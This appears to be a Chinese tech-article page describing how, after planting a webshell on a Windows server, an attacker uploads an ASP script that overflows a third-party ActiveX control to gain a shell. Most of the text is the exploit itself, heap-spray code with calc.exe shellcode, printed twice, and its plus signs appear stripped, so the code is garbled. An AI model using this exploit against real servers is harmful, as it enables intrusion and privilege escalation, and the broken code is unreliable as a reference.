webshell中上传asp文件调用服务器ActiveX控件溢出获取shell
程序员文章站
2022-03-29 11:14:17
做windows系统渗透测试的时候有webshell了,但是拿不到shell,用来提升权限,也是个很郁闷的事情。一般来说,使用mdb jet引擎的溢出比较常见,但是有时候根据服务器上安装的第三方软... 08-10-08...
做windows系统渗透测试的时候有webshell了,但是拿不到shell,用来提升权限,也是个很郁闷的事情。一般来说,使用mdb jet引擎的溢出比较常见,但是有时候根据服务器上安装的第三方软件,使用一些新的方法,或许能有一点转机。这里主要描述一下调用activex溢出服务器的思
code:
quote:
<%@ language = javascript %>
<%
var act=new activexobject("hangameplugincn18.hangameplugincn18.1");
//run calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%u7e68%ue2d8%u6873%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize shellcode.length;
while (bigblock.length<slackspace) bigblock =bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length slackspace<0x40000) block = block block fillblock;
memory = new array();
for (x=0; x<300; x ) memory[x] = block shellcode;
var buffer = ’’;
while (buffer.length < 1319) buffer ="a";
buffer=buffer "\x0a\x0a\x0a\x0a" buffer;
act.hgs_startnotify(buffer);
%>
code:
quote:
<%@ language = javascript %>
<%
var act=new activexobject("hangameplugincn18.hangameplugincn18.1");
//run calc.exe
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%u7e68%ue2d8%u6873%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize shellcode.length;
while (bigblock.length<slackspace) bigblock =bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length slackspace<0x40000) block = block block fillblock;
memory = new array();
for (x=0; x<300; x ) memory[x] = block shellcode;
var buffer = ’’;
while (buffer.length < 1319) buffer ="a";
buffer=buffer "\x0a\x0a\x0a\x0a" buffer;
act.hgs_startnotify(buffer);
%>
上一篇: 3dmax渲染效果图很慢该怎么办?
下一篇: Maya材质球怎么添加棋盘格贴图?